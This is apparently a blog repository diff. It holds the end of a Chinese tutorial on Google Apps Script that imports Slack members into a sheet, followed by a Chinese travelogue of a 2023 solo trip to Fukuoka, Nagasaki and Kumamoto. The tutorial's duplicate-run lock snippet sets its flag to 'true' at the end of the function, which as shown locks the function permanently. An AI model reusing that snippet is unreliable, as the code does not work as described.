+26
+27
+28
+29
+30
+31
+32
+33
+34
+
function loadEmployeeList() {
+  var formData = {
+    'token': 'Bot User OAuth Token',
+    'channel': 'Channel ID',
+    'limit': 500
+  };
+  var options = {
+    'method' : 'post',
+    'payload' : formData
+  };
+  var response = UrlFetchApp.fetch('https://slack.com/api/conversations.members', options);
+  var data = JSON.parse(response.getContentText());
+  for (index in data["members"]) {
+    var uid = data["members"][index];
+    var formData = {
+      'token': 'Bot User OAuth Token',
+      'user': uid
+    };
+    var options = {
+      'method' : 'post',
+      'payload' : formData
+    };
+    var response = UrlFetchApp.fetch('https://slack.com/api/users.info', options);
+    var user = JSON.parse(response.getContentText());
+
+    var email = user["user"]["profile"]["email"];
+    var real_name = user["user"]["profile"]["real_name_normalized"];
+    var title = user["user"]["profile"]["title"];
+    var row = [title, real_name, real_name, email, uid]; // 依照 Column 填入
+
+    var listSheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('員工名單'); // 員工名單 Sheet 名稱
+    listSheet.appendRow(row);
+  }
+}
+

但這次我們不需要再加入按鈕,因為匯入僅第一次需要;所以只需存擋後直接執行即可。

首先按「control」+「s」存檔,上方下拉選單改選擇「loadEmployeeList」,點擊「Run」就會開始匯入名單到員工名單 Sheet。

手動新增新員工資料

爾後如果有新員工加入,可直接在員工名單 Sheet 新增一列,填入資訊,Slack UID 可在 Slack 上直接查詢:

點擊要查看 UID 的對象,點擊「View full profile」

點擊「More」選擇「Copy member ID」即是 UID。 UXXXXX

DONE!

以上所有步驟都已完成,可以開始自動化的追縱員工的健康狀況。

完成檔如下,可直接從以下 Google Sheet 建立副本修改後使用:

補充

  • 如果想要用 Scheduled date & time 定時發送 form 訊息,要注意這情況下的 form 只能被填一次,所以不適合在這邊使用…(至少目前版本還是這樣),所以 Scheduled 填寫提醒訊息依然只能用純文字+Google Form 連結。

  • 目前沒有辦法用超連結連到 Shortcut 打開 Form
  • Google Sheet App Script 防止重複執行:

如果要防止不小心在執行中又再次按到導致重複執行,可在 function 一開始加上:

1
+2
+3
+4
+
if (PropertiesService.getScriptProperties().getProperty('FUNCTIONNAME') == 'true') {
+SpreadsheetApp.getUi().alert('忙碌中...請稍後再試');
+return;
+}
+

Function 執行結束時加上:

1
+
PropertiesService.getScriptProperties().setProperty('FUNCTIONNAME', 'true');
+

FUNCTIONNAME 取代為目標 Function 名稱。

用一個 Global 變數管制執行。

與 iOS 開發相關的應用

可用來串 CI/CD,用 GUI 包裝原本醜醜的指令操作,例如搭配 Slack Bitrise APP,用 Slack Workflow form 組合啟動 Build 命令:

送出之後會發送指令到有 Bitrise APP 的 private channel,EX:

1
+
bitrise workflow:app_store|branch:develop|ENV[version]:4.32.0
+

就能觸發 Bitrise 執行 CI/CD Flow。

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

ZReviewsBot — Slack App Review 通知機器人

Visitor Pattern in iOS (Swift)

diff --git a/posts/d78e0b15a08a/index.html b/posts/d78e0b15a08a/index.html new file mode 100644 index 000000000..d41ed612c --- /dev/null +++ b/posts/d78e0b15a08a/index.html @@ -0,0 +1 @@ + 遊記 2023 九州 10 日自由行獨旅 | ZhgChgLi
Home 遊記 2023 九州 10 日自由行獨旅
Post
Cancel

遊記 2023 九州 10 日自由行獨旅

[遊記] 2023 九州 10 日自由行獨旅

九州 10 日自由行 福岡、長崎、熊本 走馬看花紀錄

前言

8 月底正式離開待了快 3 年的 Pinkoi;原本就有想離開的念頭,上半年時想說把假期放一放,去外面透透氣,回來再看情況,於是和朋友去了「 [遊記] 2023 京阪神 & 🇯🇵初次著陸 」和同事去了「 [遊記] 2023 東京& 🇯🇵二次著陸 」;但回來之後反而更想真正跳脫,剛好手上的事也告一段落,就鼓起勇氣跨了出去,離開舒適圈,尋找下一個新挑戰!

[遊記] 9/11 名古屋一日快閃 」純屬意外,如文內所說比較像行軍而不是放鬆的旅行。

趁著難得的空檔再去探索一次日本,原本的計畫是找同樣在待業的朋友一起去 🇰🇷 釜山 ➡️ 🇯🇵 福岡 ➡️ 🇯🇵 熊本 的路線 ;韓國去熊本回,途中釜山到福岡可以搭乘 新山茶花號 ,睡一晚 12 小時就到福岡,等於通勤+住宿全包。

朋友 9 月就找到工作去上班了,一時之間也找不到新旅伴;一個人去不太想要大範圍移動,所以先捨棄了🇰🇷 釜山 ➡️ 🇯🇵 福岡 段,改成 🇯🇵 福岡 ➡️ 🇯🇵 熊本,福岡進熊本回的路線。

10 月開始時間都很零散也想說 10 月要開始準備找新工作,所以出發日就訂在 9 月底 (9/17–9/26)。

總結 / Retro

一樣把總結、檢討寫在前面,在自由行社團看到一段話很喜歡:「自由行就是不斷地繳學費(花時間或金錢)學習,經驗多了會踩的坑也越來越少」。

👍

  • 生可樂、蜜桃水、全家的果汁飲料、秋雅梅酒,好喝!
  • 日本職棒值得一看!買票記得買整排空或是靠走道的位子、便宜的位子就好
  • JR Pass 不一定省,但在九州真的有省到!至少省了 1,000 多台幣
  • 獨旅也遇到很多有趣的事;例如途中幫助了日本家庭獲得三原市的伴手禮、好心的外國姊姊主動幫拍照、一起游船的路人台灣家庭、一起走完阿蘇的台積電大哥、在熊本幫忙路人家庭拍照結果又在機場遇到又再幫他們拍一次…等等
  • 九州(不只熊本)到處都有熊本熊部長的蹤跡
  • 整個九州都很空曠,都沒什麼人,名店吃的、景點幾乎不用排隊,很舒服
  • 日文稍微進步一點,聽得懂數字(雖然還是要先用 Google 翻譯確認沒唸錯)、聽得懂要不要塑膠袋;知道結帳、這個、以上就好、現金、信用卡、免稅的祈使句(XXX お願いします)
  • 完成遊記撰寫!

👎

  • 這次住到雷: 日本找飯店也還是要看評價,最好直接看低分評價的內容,看能不能接受、再打開街景實際走看看好不好走
  • 這次熊本排太多天,應該 2 天就好,其他天可以去大分;而且福岡熊本其實比福岡長崎還近很多: 以往都是先找住宿再找景點,九州幅員遼闊;應該要先找想去的地方再來排住宿,能去的景點會更多
  • 福岡住宿的選擇、價格、品質都比熊本好太多
  • 這次錯過了由布院的祭典(那天我跑去長崎): 之後可以查查去的日期有沒有祭典,大家都推祭典,一定要去
  • JR Pass 可以搭新幹線,但「希望(Nozomi)號」、「瑞穗(Mizuho)號」不行;搭了要補票
  • 獨旅+語言不通其實蠻孤單的,更多時候是自我沉靜享受孤獨
  • 獨旅找住的比較貴
  • 這次依然狂走景點,應該放慢腳步慢慢享受當下跟尋找美食;尤其日本過吃飯時間就沒有有名的店吃了
  • 這季節九州的太陽還是很曬,要做好防曬
  • 北長崎普普(荷蘭、中華街),南長崎跟夜景比較有特色

準備工作

最一開始考慮 福岡進福岡出,熊本一兩日來回(後面證明這才是對的XD,熊本景點不多不用待太多天);查到華航有一班福岡進熊本回的班機,還便宜 $1,000,就決定是此航班了。

因為時間相當充裕就找了最奢侈的中午出發中午回的時間,包含飛機時間一共 10 天。

  • 去程:9/17 CI 116 16:40 TPE -> 20:00 FUK
  • 回程:9/26 CI 2195 ( 9/26 新開航 ) 12:30 KMJ -> 13:34 TPE

價格: $10,048

因為九州幅員遼闊,這次有買 JR Pass 北九州鐵路周遊券 (5 日),想說怎麼坐都還是賺。

住 (9 晚)

安排的時候沒想太多也沒查資料,想說福岡、熊本都沒去過;就抓個一半一半 5天:4天 住。

福岡 5 晚— 福岡天神本尼卡卡爾頓飯店 ( Benikea Calton Hotel Fukuoka Tenjin )

  • 價格:$7,583,$1,516/晚
  • 交通:從博多站出發,可以搭地鐵七隈線到渡邊通站或搭公車走 5 分鐘到達

熊本 4 晚 — Green Rich飯店 — 水前寺 ( Green Rich Hotel Suizenji )

JR 熊本 -> 飯店

JR 熊本 -> 飯店

飯店 -> 熊本機場

飯店 -> 熊本機場

熊本住宿很難找(不知道是不是都被台積電出差訂走的關係),選擇少、價格比福岡貴、老舊;最後只找到這家,價格相對便宜的飯店。

  • 價格:$8,157,$2,039/晚
  • 交通:JR 熊本站出來改搭豐肥本線在搭路面電車出來就到了(市立體育館前站), 回程去機場的交通也很方便,出來就有機場直達車到熊本機場

飯店訂好了,就可以填寫線上的 預定入境申請

原本的計畫如下:

  • 9/17 21:00 到福岡 22:00 到飯店,應該就外面屋台逛逛
  • 9/18 長崎 (新地中華街/荷蘭坂/哥拉巴園/大浦天主堂/Gunkanjima Digital Museum/眼鏡橋)不會都去+ 原爆資料館+和平公園 + 晚上稻佐山山頂展望台 看夜景
  • 9/19 柳川、太宰府一日遊 + LaLaport 福岡(optional)
  • 9/20 門司港、小倉城一日遊 + 屋台
  • 9/21 博多逛街 (福岡塔、神社、運河城、天神地下街…)
  • 9/22 博多逛街+移動到熊本+ 水前寺成趣園
  • 9/23 熊本市區、熊本城、熊本熊部長參見
  • 9/24 阿蘇火山一日遊
  • 9/25 島原城、島原三柴犬 (很遠,考慮)
  • 9/26 10:00 熊本機場 12:30 起飛回程

Go!

Flight Tracker、iPhone Suica 使用、Visit Japan 預入境申請…之前文章有提過,這篇就不多贅述了。

這次也是非常衝動,9/10 買好機票+訂好房,9/15 計劃好行程,9/17 出發!

Day 1 出發

下午 16:40 的班機,有很充裕的時間慢慢起床、慢慢出門。

到達機捷 A1 台北車站後,一樣選擇預辦登機,直接在北車完成報到&掛行李,到機場就直接走出境,不用跟人擠櫃檯排隊 ( 預辦登機資訊請參考官方網站 )。

這次也在托運行李放 Airtag 追蹤行李位置,不怕行李遺失、等轉盤的時候也很方便。

約莫 13:00 抵達機場,直接出境亂晃。

隨便吃了很貴又普通的口水雞,順手看了一下行李位置;行李也跟隨我托運到機場了。

吃飽之後大概才 14:30,隨手買一本日語書臨時抱佛腳。

遇到其他飛機跑錯跑道,整個機場 Reset;飛機繞了一大圈才起飛,大概 Delay 了快 30 分鐘;坐到老飛機電視超小。

華航攜手五桐號 打造空中最萌甜點 ,是 Dinotaeng 的超萌短尾袋鼠,桂花烏龍也蠻好喝的。

因飛機延誤大約 21:00 才出機場。

出機場後可以看到一個指示牌,告知要去的方向&在哪個站牌等車;除了到博多也能到其他地方,可參考 此篇文章官網 ;如果要去遠的地方記得查好班次。

本來預計要搭的是 2 號直達博多站,但 2 號好像末班還是要再等一個小時(我忘了),就改搭 1 號到福岡空港國內線(地下鐵福岡機場站),再搭地鐵到博多再轉地下鐵七隈線到渡邊通站。

Hello Fukuoka!

第二張照片的左邊就是要入住的飯店。

Benikea Calton Hotel Fukuoka Tenjin 2023/09

飯店小開箱,整體偏舊、燈光昏暗、隔音普普、冷氣稍微有聲音,但依然乾淨整潔;不過還是有點小後悔為什麼不多加一些錢住同樣在附近的 APA 連鎖飯店。

原本預計第一晚就去屋台逛逛,因爲太累就改超商隨便吃一吃,早點休息準備明天的行程。

Day 2 長崎

一早從床外看福岡市區的景觀。

博多車站

搭地鐵到博多太繞,直接走路到渡邊通搭公車到博多比較快。

到博多後先去人工櫃檯兌換 JR Pass (出示護照)並預約前往長崎的位子,兌換 JR Pass 的外國人很多,大概排了快一小時才排到,建議提早出門或提前去換。

我是買五日券,從換的那天開始算五日,進出車站都用有本券(有日期&金額那張),劃位的指定券只是讓你知道座位在哪而已,不能用來進出車站;本券要收好,這五天都會用到,遺失就沒了!

博多到長崎有兩段,會先到武雄溫泉再從武雄溫泉換車往長崎;在同一個月台換車,車次時間他們都有算好,基本上到站後直接往對面走上車就是。

候車的時候發現九州的火車都好有特色!!

位子很大很舒服,靠窗可以看風景。

車程時間約:1 小時 50 分

小插曲:完成一次國民外交 ✅

搭乘時隔壁坐一組家庭,爸爸媽媽帶兩個小孩出去玩,小孩坐車到一半突然吐,看爸爸一時沒有衛生紙只能直接拿報紙擦,就順手拿衛生紙跟濕紙巾給他。

要下車的時候,爸爸給了我一個 三原市お土産 (蝦子米餅)。

長崎車站

出長崎車站後天氣大好!本來還擔心今天會下雨。

出站後往長崎路面電車方向搭乘。

長崎(南邊)

第一站先往南到長崎新地中華街逛逛。

對外國人可能是蠻特殊的景點,但對華人還好,裡面有賣長崎特色刮包、長皿烏龍、強棒麵、小籠包…不過當時沒什麼胃口,所以只路過逛逛就走了。

一路往哥拉巴園走,還有經過孔廟XD

經過荷蘭坡(就是個斜坡),然後搭乘電扶梯往上到哥拉巴園 2 號入口,整個地形就是個面海的大山坡地。

入園哥拉巴園走馬看花,建築風格、內部裝飾;很像淡水紅毛城(因為同樣都是荷蘭人建立的)

最後別忘了去兌換免費的寫真照片,從這也能瞭望長崎港的郵輪。

下山的途中就會經過大浦天主教教堂,沒進去,拍個照就離開了。

買了長崎的刮包吃看看,我覺得還是台灣的好吃!

回程往北到長崎原爆資料館的途中先到眼鏡橋下車拍照,從正面看水中的倒影真的蠻美的,有時間的話直得一拍。

長崎(北邊)

參觀原爆資料館更多的感受是沈浸與反思,場館設計了很多場景(爆炸當時的或讓人沈浸的)、裝置藝術、歷史資料、採訪;讓參觀者能沈浸在當時的歷史氛圍跟反思日後的戰爭的殘酷可怕。

出資料館後往前走就是原子彈爆炸點,和平公園。

路上(包括原爆資料館)都懸掛很多彩色紙鶴象徵祈求和平。

稻佐山夜景

離開和平公園後先去客美多稍做休息,準備晚上去看 世界三大夜景之一的稻佐山夜景。

查公車出客美多走一小段有公車站到稻佐山下纜車搭乘處(淵神社駅),就漫步到車站等車。

結果被公車誤點雷了,這小站沒有電子看板,Google Map 又寫已離站但又沒看到車;等了 5 分多鐘想說該不會今天沒發車,就趕快再查附近別的站牌有到淵神社的,然後又再走 10 分鐘到另一個站牌搭另一班車才到。

好笑的是走到一半發現那班誤點的車來了。。。但也來不及了 Orz

下車後對面就是淵神神社,直接往上走穿過幼兒園之後就是長崎纜車(淵神社駅),因為沒有要待到太晚所以就直接買來回票(比較便宜,但如果要到太晚會沒纜車,只能搭公車回去)。

長崎纜車 2023/09

有點烏來->雲仙樂園的 Fu。

下纜車後,還有另一個遊山看景的纜車可以搭,但我沒嘗試,所以直接一路往觀景台方向走。

稻佐山觀景平台 2023/09

忘了拍觀景台的照片,是一座 360 度的塔,可以環繞看整個長崎市區、港口、山的景色,而且無需門票;可以從西邊太陽從港口落下開始看,到東邊晚上的市區夜景。

觀景台很大,不怕人多。

日落後就能看到整個長崎市區、車站的夜景,很美。

最後看一眼長崎車站的夜景、買個長崎蛋糕伴手禮(後來發現博多就有賣、保存期限約 12 天,應該後面再買就好…),準備回博多了。

再次遇到誤點,這次是 JR (信號故障);大概延誤快一小時才到博多(已累攤),司機開很快感覺很晃。

買個宵夜回飯店休息。

Day 2 柳川太宰府一日遊 + LalaPort 福岡

早上先到 福岡(天神)遊客中心買一日套票 ( 福岡天神、藥院或線上購票都可 ),可以自己算一下有沒有比較便宜。

[西鐵 — 一日暢遊「古都太宰府」與「水鄉柳川」兩大景點。](http://www.ensen24.jp/kippu/tc/dazaifu-yanagawa/){:target="_blank"}

西鐵 — 一日暢遊「古都太宰府」與「水鄉柳川」兩大景點。

另外會送兩本 Coupon, 太宰府那本有一張可以兌換免費的梅枝餅

順序沒有一定,但遊船有時間限制,下午 2 點之後就沒了;所以就直接照流程走,福岡->柳川->太宰府->福岡。

買完票後走人工窗口,給站員看票後就能進車站直接搭車(不用劃位)前往柳川。

車程時間:約 1 小時 10 分

柳川遊船

出站後會看到穿著白色背心的工作人員(如果沒有旁邊有服務中心可以問) 會給你地圖+回程方式+時刻表 & 直接引導你去搭接駁車到乘船場。

出站同樣走人工剪票,站員會撕掉福岡往柳川站的票。

本來看路程想說可以用走的,但出站就看到有工作人員直接用心引導,所幸就搭乘巴士了。

到達乘船處等下一班船時剛好遇到前面是台灣人家族旅行,就地與他們抱團,一路閒聊(畢竟我獨旅又不會日文XD來九州幾乎沒跟人講話)。

水非常乾淨,這個季節綠油油的比較沒那麼美,但相對人也少。

船夫會一路介紹經過的景點、唱唱歌(台灣人多半會聽過,很多老歌)。

過橋的時候船夫會請大家低頭防止撞到,蠻有趣的;路途上遮陰不多,有點曬。

中間會經過一家冰店,賣水果冰的,可以買一個消消暑;船夫也會發給每個人冰袋降降溫(很貼心)。

一路與前面抱團的台灣家族的爸爸閒聊,最後還獲得一張名片。

下船後沒找到免費接駁車位子,還排錯隊排到其他的(非西鐵套票)接駁車被拒絕搭乘;要研究一下地圖上的乘車點 (川流船場(沖之端))或直接詢問比較快。

我後來是走去搭公車,回西鐵柳川站。

太宰府

柳川往太宰府要在二日市車站換乘往太宰府的列車(要到另一個月台)。

車程時間:約 1 小時

搭乘旅人號到太宰府,經 五條 (2.5 條悟QQ);有點類似北投到新北投,就一班列車來回開。

中間有一節車廂有展示太宰府的文物跟可以寫明信片,可以去看看。

太宰府站也很美,外面的 Lawson 也很有日本的 Fu。

出站右手邊就是全球唯一的五角(日文合格)碗一蘭拉麵。

吃完拉麵後來個梅枝餅,跟梅子沒太大關係,比較像紅豆烤年糕,要吃現做的皮才會是蘇的,好吃!

我忘了用西鐵套票送的退換券換,花 150 日圓自己買了一個;看保存期限只有一天,無法帶回台灣。

表參道繼續往太宰府走就會經過日本最美之一的星巴克,空間蠻大但人也多,沒有駐足就離開了。

通往神社的橋如果是晚上+人少應該蠻好拍的,人太多隨手亂拍。

參拜完後回到太宰府站,往回去福岡 Lalaport。

福岡 Lalaport

一樣從太宰府站先回到二日市再轉搭往博多方向的列車,在 大橋(福岡)下車,出站往左邊乘車處找到 Lalaport 直達車,跳上去一站就到 福岡 Lalaport 了。

總車程時間約:50 分

一來就看到外面巨大的福岡鋼彈。

Lalaport 很大,很好逛也適合親子;樓上還有個大操場,有小朋友在玩也有人躺著休息。

樓上有 Jump Shop 賣少年 Jump 週刊的相關周邊,有排球少年、航海王、獵人、咒術回戰、鏈鋸人…等等,買了些咒術的周邊。

滿 5000 日圓一樣可以退稅,但好像是退到他的 App 還什麼的,有點複雜,而且吃的不含在內。

去美食街吃宮崎牛丼飯,要走的時候買了些宵夜回去(咖哩麵包、如水庵大福)。

晚上發光的鋼彈還是蠻震撼的。

回程直達公車,不是在原本下車的地方搭車,照館內指示牌直接從館內的巴士站搭乘即可。

回飯店休息,自配平板(電視太舊沒有智慧功能);咖哩麵包酥脆好吃,裡面還有肉餡、大福還不錯,不過我比較喜歡 弁才天 的。

Day 3 門司港、小倉城、博多運河城、中洲屋台

一早同樣先到博多站,搭乘 JR 往門司港,再回來小倉城。

[博多小倉交通](https://www.bobblog.tw/fukuoka-to-kokura-transport/){:target="_blank"}

博多小倉交通

小插曲 沒特別看 Google Map 的規劃,搭到 JR Pass 不能搭的新幹線 希望號 20 ;出站時逼逼逼出不去,經站員引導補票 2,160 日圓才完成出站,不過快也是真的快,這班 15 分鐘就到門司港。

門司港

有驚無險(想說會不會被罰錢)的來到門司港。

出站往前走就是門司港,平日來完全沒人;剛好遇到藍翼門司吊橋要放下。

放下後可往後走到後面的觀景塔,鳥瞰整個門司港。

塔出來剛好走一圈門司港。

午餐就吃門司港有名的咖哩燒。

小倉城

門司到小倉很近,但小倉是小站,出站一片荒蕪,找小倉的入口還走錯繞了一大圈,其實入口就在小倉外面的 Mall 那側。

小倉城小小的不大,裏面參觀的項目蠻多的,只是天守閣的景很普通(正面看出去就是那個 Mall)。

參觀完後就回車站搭車回博多了,乖乖搭 JR,但是小站只有區間車花了一個多小時慢慢回去。

博多運河城

回博多時時間還早,就去博多運河城、市區晃晃。

沒特別查,本來以為是什麼「城」或什麼「護城河」之類,結果是百貨公司XD,真的有「護城河」而且有水舞表演。

這邊要逛也很多可以逛,也有 Jump Shop。

時間還很早就亂走,走出去吃 博多祇園鐵鍋煎餃

皮酥酥脆脆裡面有湯汁,很好吃;因為語言不通,店員阿姨還很可愛比手畫腳比大肚子 2 份(1 份只有 8 顆,2 份 16 顆才吃得飽)當時沒有意會過來,所以還是只點一份+博多有名的名太子。

中洲屋台

吃完,天還沒黑先漫步道中洲屋台逛逛。

時間還很早就先走去逛天神的百貨 (Parco) 等天黑再回來看夜景。

樓上有 Animate、扭蛋首抽就中五條悟。

夜景的中洲屋台給人一種煙火氣感。

浮誇顯眼的日式廣告招牌。

中洲屋台就是這一側的路邊食堂,人聲鼎沸;有拉麵、關東煮、燒烤,沒有特別吸引我,就沒進去吃了。

回飯店喝酒吃宵夜休息。

Day 4 住吉神社、櫛田神社、天神地下街、福岡塔、福岡軟銀鷹隊棒球比賽

一日福岡步行,出飯店後先走到附近的住吉神社。

住吉神社

小小的,不是在附近應該不會特地去。

再次經過博多運河城前往櫛田神社。

路上看到屋台餐車早上停放的地方,好小巧可愛。

櫛田神社

櫛田神社比較大,也抽了支籤,看到求職「會突然成功」好像對工作又看到了希望呢。

有展示博多祇園祭的神轎,很巨大壯觀。

繼續漫步福岡,中午走到 ハカタミヤチク (日本一宮崎牛専門店 博多みやちく) 品嚐宮崎牛。

這樣一份宮崎牛排+啤酒大約台幣 $650 上下,好吃又便宜!宮崎牛 Juice 且沒什麼異味。

天神地下街

吃完午餐就去天神一代、天神地下街亂逛,順便買伴手禮小雞餅乾、蛋糕;也去超市買了串很紅的麝香無籽葡萄嚐嚐。

在天神亂晃,發現野生的熊本熊部長。

先回飯店放買的伴手禮+休息片刻後出發前往福岡塔+看棒球賽。

福岡塔

從市區搭公車前往福岡塔。

福岡塔全鏡面設計,從外面看很美,我覺得比晴空塔還美!

(感謝路人姊姊幫拍照)

但因為塔蓋在城市的最外側靠海的地方,上面景色普普;不確定晚上夜景如何。

出福岡塔後慢慢走到上一站就是 福岡 PayPay 棒球場,是海的味道。

福岡軟銀鷹隊棒球比賽

人很多(大概坐滿 7 成),但是現場買還有票。

買票小插曲

買票的時候遇到阿伯櫃檯,看到外國人語言不通緊張的手在抖;我也跟著緊張XD;一時腦霧,選了前面看台的最後一排最中間的指定席位子(左右坐滿人)結果進去超尷尬,進出都要一路 すみません,而且位子也很小,擠在日本人中間,我一句日文也不會,很尷尬。。。正經危坐的看完整場球賽。

票價快 $1,500 台幣,想想應該買個最便宜的爛座位自己輕鬆看就好。

不得不說巨蛋的視覺效果(離球場很近)、整個大型的螢幕動畫顯示都很好。

福岡軟銀鷹隊的加油應援傳統,7 局上大家會灌氣球(用手動打氣桿) 然後釋放出去,至於垃圾…就不管了最後會有人清。

最後主場 4:2 獲得勝利,比中職精彩,投手球速都在 145km 上下,局局有攻防,很少三上三下;但打的節奏又很快,看起來很舒服。

不過啦啦隊的部分,台灣還是比日本豐富的。

福岡 PayPay Dome 主場獲勝 室內煙火

主場獲勝會在大巨蛋內放煙火,很酷!!

買了條軟銀鷹的毛巾做為到此一遊的紀念,也一解 上次去阪神虎甲子園棒球場票售罄不得其門而入的窘境

散場的人非常多,但大家不會站太近也都慢慢走,就跟著大家一路走到最近的地下鐵唐人街町站,因為公車感覺要排很久。

回飯店休息順便嚐嚐下午買的麝香無籽葡萄嚐嚐,很甜、有點甜過頭。

Day 5 熊本 (熊本城、鶴屋百貨)

一早先 Chekout 走到飯店附近的藥院晃晃

發現沒什麼,吃個麥當勞(滿福堡加蛋配冰美式這樣才 $107)就回來拿行李準備搭 JR 去熊本了。

最後跟這間飯店說再見了,Lobby 有福岡軟銀鷹隊的娃娃、外面有掛 🇹🇼 國旗也蠻猛的,因為隔壁就是中國人開的友誼超商,很多中國人。

福岡博多 -> 熊本

車站電子機器劃位,想說有點遠、帶著行李還是劃個位。

按照說明書劃位,總之就是:

  1. 先選擇語言、先選擇語言、先選擇語言 (不然插入票卡後不能改,要退出重來)
  2. 插入 JR Pass 票卡
  3. 選擇出發、到達站 (用英文站名搜尋)
  4. 選擇班次、座位
  5. 完成

有問題現場都有站務人員可以問,本來有一班 15 分鐘後發車的沒位子,只能買 45 分鐘後的另一班列車。

不過也還好沒買那班,從博多站內走到新幹線往鹿耳島(經熊本)的月台,大概就要 10 分鐘,要繞一下有點遠,時間太趕。

趕在 JR Pass 到期最後一天用完。

本來還擔心我的 27 寸行李箱 (約 69 x 50 x 29 cm) 會不會上面行李架放不下要買 特大行李附帶席,規定是三邊和超過 160 cm 一定要買

27 寸放腳會太卡,也會卡到隔壁;實測放行李架蠻穩的,但仍要扛上去放,買靠窗的位子在拿放行李時又怕會卡到走道的乘客;還好遇到好心的日本阿伯願意讓位子給我拿放行李。

一到熊本就看到巨大的熊本熊,先轉 JR & 地鐵到飯店寄放行李(市立體育館前站)。

熊本到處都是熊本熊….

熊本城

放好飯店後搭路上電車前往熊本城(到通町筋站)。

可以先去下面的 櫻之馬場 城彩苑(忘了拍照) 逛逛補充能量,可以在此購買熊本城門票,這邊沒什麼人,上去熊本城入口買遇到團體人會很多卡成一團。

門票有:熊本城 800、熊本城+買票後面那棟(歷史文化體驗 湧湧座) 850、熊本城+買票後面那棟(歷史文化體驗 湧湧座) +熊本博物館 1,100 三種

我是買 熊本城+湧湧座 想說多 50 日圓而已,但去逛了一圈覺得普普,多補充了熊本城內的展覽跟地震相關文物,適合拍照體驗。

熊本城天守閣 2023 年已完成修復開放,其他建築仍在維修中(可以看到吊車)。

新的是直接規劃成天空步道,照著路線一路走到熊本城。

上天守閣之後可以看到一路走來的天空步道。

鳥瞰熊本城前方廣場與後方持續維修中的古蹟。

地震之後當時的狀況模型。

在廣場隔壁的伴手禮店收藏了熊本城模型,完成我的三大名城搜集任務!

原路返回到 買票的地方,去逛湧湧座;裡面有熊本城模型跟一個樂高做的熊本城,很酷。

因天氣不理想,就沒再往後繞道博物館、加藤神社。

一路再走回通町筋站,這邊就是上通商店街與熊本本地的鶴屋百貨,百貨東棟一樓就是前幾個月才整個重新裝修好的熊本熊廣場(熊本熊部長辦公室)。

在商店街亂逛剛好遇到熊本熊 x 交通安全 的公開活動,獲得一個熊本熊手提袋。

這整區不算好逛,蠻無聊的;只有蔦屋書店、無印良品那棟比較好逛,熊本剛下車站就可以感受到老年人很多、年輕人很少,本地的鶴屋百貨也幾乎都是老年人、賣婦人服、居家用品居多,較少年輕人的東西。

去鶴屋百貨的熊本熊周邊店買了些熊本熊(樣式比熊本廣場多),再去百貨地下街買酒、吃的東西(晚餐+宵夜)回飯店吃。

香露是店家推薦的熊本地酒,甜口的,喝起很順,但我覺得米味不夠。 Green Rich飯店 - 水前寺 (Green Rich Hotel Suizenji) 2023/09

值得一提的是飯店,以往其實不會特別看評價;就看差不多 3 顆星以上的就好;這間的隔音也不好又遇到整層都是國小畢業旅行,連續兩天的早晚都一直開關門碰!碰!碰!,非常地大聲擾人。

查了下 Google/Agoda 上的評價明細,覺得心有戚戚焉。

隔音不好應該是老舊飯店的通病,這個我還能忍(自備耳塞);但是飯店的 WiFi 如同前人留下的評價,純粹糊弄人而已。

WiFi 整間都有訊號,但是在房間內就算訊號滿格速度還是非常慢,連網頁都打不開,要貼著房門用,網路速度才會是正常的,幾乎等於飯店沒網路。

價格也很不美麗,不如都住福岡,同樣價格在福岡直升 APA 了。

經過這次經驗之後知道就算是日本飯店也還是要看一下評價的….

真的除了離機場交通方便外沒優點,附近也無超商(要走 10 分鐘以上才有)。

Day 6 水前寺成趣園、熊本熊廣場表演、花畑廣場、櫻町購物中心

早上起來出門直接走到對面的水前寺成趣園。

水前寺成趣園(出水神社)

有點板橋林家花園感,裡面整理的很乾淨、水很清澈,有小富士山、出水神社跟很肥的錦鯉還有貓。

熊本熊廣場表演

走完後搭乘路面地鐵到水道町前往熊本熊廣場(昨天來過)。

裡面有熊本熊部長周邊可以拍照,外面有 Monitor 能看到裡面的狀況。

因為距離當天表演時間 11 點還很早,先去隔壁鶴屋百貨覓食。

表演時刻表可參考熊本 廣場官方網站 (時間不一定,但週六多半有三場)。

路過旁邊的鶴屋百貨一樓也發現一隻心酸打工彈鋼琴的部長。

去 B1 吃了當地有名的蜂樂饅頭,就是餡料很厚實的車輪餅,有分白豆、紅豆兩種餡,喜歡甜食的會很愛,配上咖啡就是一頓早餐。

快 11 點時回到熊本熊廣場等待表演,現在不用抽籤,只要在表演前入場都可以,超過時間應該只能在外面看 Monitor 了,有帶小孩的話可以坐裡面。

表演前會先說明秩序規則,例如:不可以拍打熊本熊、拍照不可舉過頭(會擋到後面的)、根據日本法律如果有人臉要打馬賽克、歡迎大家上傳到 SNS。

かモン!くまモン!【公式】

表演時間約 30 分鐘,主持小姊姊會邊幫熊本熊發言(全日文),流程大概是跟大家打招呼、講熊本的趣事、跳舞(上面這首、很洗腦)、跟不同國家的人說 Hi。(這場台灣人最多XD)。

熊本熊本尊很萌,動作很大、很有趣。

廣場裡面賣的周邊反而少、價格也偏高,就沒有在這邊下手。

看完表演接近中午,走下通商店街吃 勝烈亭 新市街本店 ;走到商店街外為了,瞬間從兒童級升級成限制級,整排都是無料案內所(另一邊熊本銀座通也是)。

超厚 Jucie 豬排飯,比較特別的是有附他們的酸菜(共用、自己夾、記得用紅色筷子),其他跟台灣吃日式豬排一樣,會上研磨棒、芝麻給你磨醬;飯、茶、湯、高麗菜一樣免費續;一口氣吃了兩碗白飯,很滿足。

花畑廣場

吃飽喝足後繼續走下通商店街往花畑廣場走。

剛好遇到週六廣場有活動,Food Summit 2003,整圈賣吃的,中間架一個壘台在表演日摔。

買了杯氣泡酒+烤腸坐下來看表演,烤腸不香沒有台灣的好吃。

吃到一半還打到台下,有點嚇人,但帶入感很強;後來實在太熱了,吃完就走了,去後面的櫻町購物中心逛百貨公司。

花畑廣場,感覺每週六日都有活動,來之前可以查一下,下一週是台灣祭!

櫻町購物中心

頂樓有一隻熊本熊在揮手,二樓也有販賣熊本熊周邊( 我覺得是最齊全的 )。

這邊也會有熊本熊表演,要參考公告時間。

可以一路從外面樓梯上到頂樓找到揮手的熊本熊本尊,這棟樓下同時也是熊本客運中心,可以在二樓買票前往其他城市。

樓頂有一個很大的花園、可以玩水的水池,有帶小孩可以上去玩。

從裡面也能搭電扶梯上去,從三樓的敘敘苑(這家敘敘苑完全沒人)就能找到再網上的電扶梯。

個人覺得櫻町購物中心比鶴屋百貨新、好逛。

